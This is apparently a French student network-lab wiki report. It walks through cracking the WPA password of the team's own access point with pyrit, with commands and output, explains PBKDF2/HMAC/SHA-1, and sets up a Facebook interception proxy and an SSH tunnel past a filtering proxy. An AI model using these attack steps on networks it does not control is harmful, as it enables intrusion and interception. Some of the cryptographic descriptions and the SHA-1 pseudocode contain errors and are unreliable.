Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
100000000 lines read. Flushing buffers... ..&lt;br /&gt;
All done.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, nous devons générer la &amp;quot;rainbow table&amp;quot;. Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit benchmark&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Running benchmark (25147.5 PMKs/s)... \&lt;br /&gt;
&lt;br /&gt;
Computed 25147.53 PMKs/s total.&lt;br /&gt;
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)&lt;br /&gt;
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)&lt;br /&gt;
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)&lt;br /&gt;
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la &amp;quot;rainbow table&amp;quot; qui prendra environ une heure.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que la &amp;quot;rainbow table&amp;quot; est générée, nous lançons l'attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -r *.cap attack_batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Parsing file 'dmp-01.cap' (1/1)...&lt;br /&gt;
Parsed 270 packets (270 802.11-packets), got 1 AP(s)&lt;br /&gt;
&lt;br /&gt;
Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.&lt;br /&gt;
Attacking handshake with station 00:0c:e7:41:68:29&lt;br /&gt;
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second&lt;br /&gt;
&lt;br /&gt;
The password is '12121212'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par &amp;quot;rainbow tables&amp;quot; est donc largement plus performante.&lt;br /&gt;
&lt;br /&gt;
=====Algorithme de génération de PMK=====&lt;br /&gt;
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:&lt;br /&gt;
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)&lt;br /&gt;
*[PASSWORD] Le mot de passe&lt;br /&gt;
*[SALT] Le salage  (ici l'ESSID)&lt;br /&gt;
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)&lt;br /&gt;
*[LEN] La longueur du résultat de la fonction (ici 256)&lt;br /&gt;
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Où les &amp;quot;Un&amp;quot; sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))&lt;br /&gt;
U2 = PRF(PASSWORD, U1)&lt;br /&gt;
...&lt;br /&gt;
Uc = PRF(PASSWORD, Ucount-1)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:&lt;br /&gt;
*[KEY] la clé utilisée pour encoder le message&lt;br /&gt;
*[MSG] le message à encoder&lt;br /&gt;
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)&lt;br /&gt;
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)&lt;br /&gt;
Le principe de fonctionnement est le suivant:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function HMAC(KEY, MSG, H, HLEN)&lt;br /&gt;
    if(length(KEY) &amp;gt; HLEN)&lt;br /&gt;
        KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H&lt;br /&gt;
    if(length(KEY) &amp;lt; HLEN)&lt;br /&gt;
        KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))&lt;br /&gt;
&lt;br /&gt;
    opad_key = (opad * HLEN) ^ KEY;&lt;br /&gt;
    ipad_key = (ipad * HLEN) ^ KEY;&lt;br /&gt;
&lt;br /&gt;
    return H(opad_key || H(ipad_key || MSG)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans cette fonction:&lt;br /&gt;
*L'opérateur || désigne la concaténation directe tel que &amp;quot;J'aime le&amp;quot;||&amp;quot; poulet&amp;quot; est égale à &amp;quot;J'aime le poulet&amp;quot;&lt;br /&gt;
*L'opérateur * désigne la répétition de l'élément tel que &amp;quot;J&amp;quot;*4 est égale à &amp;quot;JJJJ&amp;quot;&lt;br /&gt;
*L'opérateur ^ désigne l'opérateur XOR logique&lt;br /&gt;
*La variable opad est une constance valant 0x5C&lt;br /&gt;
*La variable ipad est une constance valant 0x36&lt;br /&gt;
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function SHA1(PASS)&lt;br /&gt;
    h0 = 0x67452301&lt;br /&gt;
    h1 = 0xEFCDAB89&lt;br /&gt;
    h2 = 0x98BADCFE&lt;br /&gt;
    h3 = 0x10325476&lt;br /&gt;
    h4 = 0xC3D2E1F0&lt;br /&gt;
    ml = message length in bits (always a multiple of the number of bits in a character).&lt;br /&gt;
&lt;br /&gt;
    append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.&lt;br /&gt;
    append 0 ≤ k &amp;lt; 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)&lt;br /&gt;
    append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.&lt;br /&gt;
&lt;br /&gt;
    break message into 512-bit chunks&lt;br /&gt;
    for each chunk&lt;br /&gt;
        break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15&lt;br /&gt;
&lt;br /&gt;
        //Extend the sixteen 32-bit words into eighty 32-bit words:&lt;br /&gt;
        for i from 16 to 79&lt;br /&gt;
            w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1&lt;br /&gt;
&lt;br /&gt;
        //Initialize hash value for this chunk:&lt;br /&gt;
        a = h0&lt;br /&gt;
        b = h1&lt;br /&gt;
        c = h2&lt;br /&gt;
        d = h3&lt;br /&gt;
        e = h4&lt;br /&gt;
&lt;br /&gt;
        //Main loop&lt;br /&gt;
        for i from 0 to 79&lt;br /&gt;
            if 0 ≤ i ≤ 19 then&lt;br /&gt;
                f = (b and c) or ((not b) and d)&lt;br /&gt;
                k = 0x5A827999&lt;br /&gt;
            else if 20 ≤ i ≤ 39&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0x6ED9EBA1&lt;br /&gt;
            else if 40 ≤ i ≤ 59&lt;br /&gt;
                f = (b and c) or (b and d) or (c and d) &lt;br /&gt;
                k = 0x8F1BBCDC&lt;br /&gt;
            else if 60 ≤ i ≤ 79&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0xCA62C1D6&lt;br /&gt;
&lt;br /&gt;
            temp = (a leftrotate 5) + f + e + k + w[i]&lt;br /&gt;
            e = d&lt;br /&gt;
            d = c&lt;br /&gt;
            c = b leftrotate 30&lt;br /&gt;
            b = a&lt;br /&gt;
            a = temp&lt;br /&gt;
&lt;br /&gt;
            //Add this chunk's hash to result so far:&lt;br /&gt;
            h0 = h0 + a&lt;br /&gt;
            h1 = h1 + b &lt;br /&gt;
            h2 = h2 + c&lt;br /&gt;
            h3 = h3 + d&lt;br /&gt;
            h4 = h4 + e&lt;br /&gt;
&lt;br /&gt;
            //Produce the final hash value (big-endian) as a 160 bit number:&lt;br /&gt;
            hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Attaque Man In the Middle de Facebook===&lt;br /&gt;
Squirm ne marche pas ... D'un autre coté, en 1999 c'était peut être la mode.&lt;br /&gt;
&lt;br /&gt;
Config Squid&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
acl allowedips src 172.16.1.0/24&lt;br /&gt;
http_access allow allowedips&lt;br /&gt;
forwarded_for off&lt;br /&gt;
http_access deny all&lt;br /&gt;
cache_access_log /var/log/squid3/access.log&lt;br /&gt;
cache_log /var/log/squid3/cache.log&lt;br /&gt;
cache_store_log /var/log/squid3/store.log&lt;br /&gt;
cache_dir ufs /var/spool/squid3 100 16 256&lt;br /&gt;
cache_mem 16 MB&lt;br /&gt;
maximum_object_size 15 MB&lt;br /&gt;
http_port 3128&lt;br /&gt;
cache_effective_group root&lt;br /&gt;
url_rewrite_program /usr/bin/squidGuard&lt;br /&gt;
shutdown_lifetime 1 second&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Config Squidguard&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dbhome /usr/local/squidGuard/db&lt;br /&gt;
&lt;br /&gt;
dest fb-login {&lt;br /&gt;
    urllist     facebook/url&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
acl {&lt;br /&gt;
    default {&lt;br /&gt;
       pass !fb-login all&lt;br /&gt;
       redirect http://127.0.0.1/&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
cat /usr/local/squidGuard/db/facebook/url&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
fr-fr.facebook.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Contournement d'un proxy===&lt;br /&gt;
Lors de certains événements, il est nécessaire de disposer d'un accès Internet complet, sans aucune limitation. Dans le cadre de la compétition &amp;quot;La nuit de l'info&amp;quot;, nous avons été amené à réaliser un dispositif permettant un accès libre à Internet à travers un accès filtré par proxy web à l'aide d'un serveur non filtré. Pour cela, nous avons utilisé une machine dédiée comprenant deux cartes réseaux. Nous avons commencé, après l'installation du système d'exploitation (Debian Jessie) à installer les paquets nécessaires.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install openssh-server proxytunnel isc-dhcp-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons créé notre fichier de configuration ssh pour un accès plus facile à notre serveur non filtré. On notera qu'il est important que le serveur ssh distant écoute sur le port 443, car c'est l'un des rares ports que le serveur proxy laisse passer.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# vim /root/.ssh/config&lt;br /&gt;
Host perfectTunnel&lt;br /&gt;
        Hostname ADRESSE_IP_DE_NOTRE_SERVEUR&lt;br /&gt;
        User root&lt;br /&gt;
        Port 443&lt;br /&gt;
        ProxyCommand proxytunnel -p proxy.nuitinfolille.fr:3128 -d %h:%p&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous réalisons notre script permettant la création d'un tunnel entre notre machine dédiée et notre serveur distant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ssh \&lt;br /&gt;
  -o PermitLocalCommand=yes \&lt;br /&gt;
  -o LocalCommand=&amp;quot;ifconfig tun5 12.24.48.2 pointopoint 12.24.48.1 netmask 255.255.255.0&amp;quot; \&lt;br /&gt;
  -o ServerAliveInterval=60 \&lt;br /&gt;
  -w 5:5 perfectTunnel \&lt;br /&gt;
  'ifconfig tun5 12.24.48.1 pointopoint 12.24.48.2 netmask 255.255.255.0; echo tunnel ready'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une première vérification nous permet de nous assurer que le tunnel fonctionne correctement.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ping -I tun5 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) from 12.24.48.2 tun5: 56(84) bytes of data.&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=21.9 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=17.4 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=17.3 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
3 packets transmitted, 3 received, 0% packet loss, time 2002ms&lt;br /&gt;
rtt min/avg/max/mdev = 17.383/18.920/21.904/2.110 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit bien que l'interface tun5 peut pinger une IP de Google, on peut donc supposer que son accès à Internet est complet. Nous allons maintenant modifier les routes du serveur pour qu'il utilise cette interface comme passerelle par défaut.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# route del default&lt;br /&gt;
# route add default gw 12.24.48.1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On vérifie que notre machine dédiée peut bien accéder à Internet en totalité.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ping 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=17.0 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=16.7 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=19.4 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=4 ttl=55 time=17.5 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
4 packets transmitted, 4 received, 0% packet loss, time 3004ms&lt;br /&gt;
rtt min/avg/max/mdev = 16.758/17.705/19.494/1.084 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que le tunnel fonctionne, il ne reste plus qu'à la partager aux clients. Pour cela, nous commençons par mettre en place en serveur DHCP sur une des cartes réseaux (eth0).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# vim /etc/default/isc-dhcp-server&lt;br /&gt;
INTERFACES=&amp;quot;eth0&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# vim /etc/dhcp/dhcpd.conf&lt;br /&gt;
subnet 118.218.0.0 netmask 255.255.0.0 {&lt;br /&gt;
        range 118.218.1.1 118.218.254.254;&lt;br /&gt;
        option routers 118.218.0.1;&lt;br /&gt;
        option subnet-mask 255.255.0.0;&lt;br /&gt;
        option broadcast-address 118.218.255.255;&lt;br /&gt;
        option domain-name-servers 8.8.8.8, 8.8.4.4;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
authoritative;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Les clients ont leur IP. Il faut maintenant configurer le serveur pour qu'il effectue la redirection correctement.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
iptables -A FORWARD -i eth0 -o tun5 -s 118.218.0.0/16 -d 0.0.0.0/0 -j ACCEPT&lt;br /&gt;
iptables -A FORWARD -s 0.0.0.0/0 -d 118.218.0.0/16 -j ACCEPT&lt;br /&gt;
iptables -t nat -A POSTROUTING -s 118.218.0.0/16 -d 0.0.0.0/0 -j MASQUERADE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et finalement, une dernière commande permet à tout le système de fonctionner: la redirection des packets IPv4 au niveau du noyau.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Création de points d'accès Wi-Fi avec serveur d'authentification FreeRADIUS===&lt;br /&gt;
&lt;br /&gt;
====Création du serveur FreeRADIUS====&lt;br /&gt;
&lt;br /&gt;
Afin de créer ces points d'accès, nous avons commencé par paramétrer un serveur d'authentification FreeRADIUS. Pour cela nous avons eu à modifier trois des fichiers de configurations de FreeRADIUS.&lt;br /&gt;
&lt;br /&gt;
D'abord le fichier eap.conf au sein duquel nous avons simplement changé le protocole d'authentification afin d'utiliser le type PEAP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
default_eap_type = peap&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis nous avons eu à configurer nos points d'accès wifi au sein du fichier clients.conf, voici à quoi ressemble la configuration d'un des points :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
client lellel{&lt;br /&gt;
        ipaddr = 10.10.10.1&lt;br /&gt;
        netmask = 32&lt;br /&gt;
        secret = lollol&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour finir il ne restait plus qu'a créer un utilisateur pour ce serveur d'authentification, pour cela nous avons ajouté la ligne suivante dans le fichier users.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ethwynn Cleartext-Password := &amp;quot;trolol&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Une fois cette configuration réalisée nous avons lancé notre serveur FreeRADIUS.&lt;br /&gt;
&lt;br /&gt;
====Configuration des bornes Wi-Fi====&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons réalisé la configuration des bornes Wi-Fi afin d'avoir notre accès sécurisé avec notre serveur FreeRADIUS. La configuation est réalisée en tapant les commandes suivantes après s'être connecté à la borne via telnet :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_kwak group radius_kwak&lt;br /&gt;
radius-server host 193.48.57.167 auth-port 1812 acct-port 1813 key lollol&lt;br /&gt;
aaa group server radius radius_kwak&lt;br /&gt;
server 193.48.57.167 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid SSID_KWAK&lt;br /&gt;
vlan 17&lt;br /&gt;
authentication open eap eap_kwak&lt;br /&gt;
authentication network-eap eap_kwak&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 17 mode ciphers aes-ccm tkip&lt;br /&gt;
ssid SSID_KWAK&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.17&lt;br /&gt;
encapsulation dot1Q 17&lt;br /&gt;
no ip route-cache&lt;br /&gt;
bridge-group 17&lt;br /&gt;
bridge-group 17 subscriber-loop-control&lt;br /&gt;
bridge-group 17 spanning-disabled&lt;br /&gt;
bridge-group 17 block-unknown-source&lt;br /&gt;
no bridge-group 17 source-learning&lt;br /&gt;
no bridge-group 17 unicast-flooding &lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.17&lt;br /&gt;
encapsulation dot1Q 17&lt;br /&gt;
bridge-group 17&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
 &lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== La partie bonus ==&lt;br /&gt;
&lt;br /&gt;
Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un système embarqué (nommé CiscoChecker) permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation de l'écran LCD ===&lt;br /&gt;
&lt;br /&gt;
Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.&lt;br /&gt;
 &lt;br /&gt;
Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX. Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.&lt;br /&gt;
&lt;br /&gt;
Voici à quoi ressemble une de nos lettres :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
const char	letter_A[] PROGMEM = {&lt;br /&gt;
	0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,&lt;br /&gt;
	0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,&lt;br /&gt;
	0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,&lt;br /&gt;
	0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.&lt;br /&gt;
&lt;br /&gt;
Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation du lecteur de carte SD ===&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.&lt;br /&gt;
&lt;br /&gt;
Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc un simple programme arduino afin de lire des fichiers présents sur la carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Communication avec le matériel Cisco ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ciscoChecker.png|200px|thumb|left]]Afin de pouvoir tester le réseau, notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par étudier le fonctionnement de ce composant. Ensuite, nous avons créé un schéma réalisant la fonction que nous voulions, c'est à dire la conversion d'un signal série issu de l'Arduino vers un signal série utilisable sur le matériel Cisco. Nous avons donc été amené à concevoir l'empreinte d'un connecteur femelle RJ45 de la société Amphenol ([https://www.amphenolcanada.com/ProductSearch/drawings/AC/RJHSE508X.pdf dont la documentation est disponible ici]). Nous avons ensuite utilisé les documents libres fournis par Arduino pour concevoir un shield compatible avec les Arduino Uno.&lt;br /&gt;
&lt;br /&gt;
Après la phase de conception (et quelques améliorations apportés par M. Boe et M. Flamen), nous avons pu lancer en production notre carte. Une fois les composants soudés, nous avons testé la carte. Finalement, celle-ci est à moitié fonctionnelle. En effet, elle est capable d'émettre correctement, mais ne reçoit pas correctement les signaux. Une des hypothèses serait un défaut dans le câblage des LEDs du port RJ45 à cause d'une erreur dans la documentation d'Amphenol (les LEDs ne sont finalement pas bidirectionnelles). Si le temps le permet, un diagnostique plus poussé sera mené sur la carte.&lt;br /&gt;
&lt;br /&gt;
=== Réalisation du code pour les appareil Cisco ===&lt;br /&gt;
&lt;br /&gt;
Dès que la carte électronique fonctionnera correctement, il suffira à celle-ci d'envoyer des commandes au matériel Cisco.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
show interfaces status | include INAME\ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
